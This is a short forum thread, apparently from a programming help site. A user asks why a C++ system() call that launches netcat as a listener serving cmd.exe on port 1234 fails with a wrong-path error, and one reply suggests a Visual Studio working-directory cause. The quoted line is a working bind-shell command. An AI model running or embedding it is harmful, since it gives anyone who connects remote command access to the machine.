netcat call from c++

[brick2]

system("c:\\nc -l -p 1234 -e c:\\windows\\system32\\cmd.exe");

Ok so when I do this it responds with

c:\Users\test\nc is not recognized as an internal or external command.

I mean if it gave me an error or something else ok but why on earth would it refer to a location that a program has nothing to with.

There were some threads in the program so I thought maybe some of them are still running so I rebooted the virtual machine but same thing.

The nc.exe is in c:\.

At some point in time few days ago it was in c:\Users\test but I can not see how would that matter The program has been rebuilt and I have even commented out all the other functions from the main.
Than I tried just doing the same thing from the CMD but same result.

C++
Windows 7 running on a virtual machine
Host Fedora 20
Visual studio 2013 Express

[Little Bobby Tables]

visual studios might be trying to run it from there for some reason. try just double clicking the exe instead of running it in vs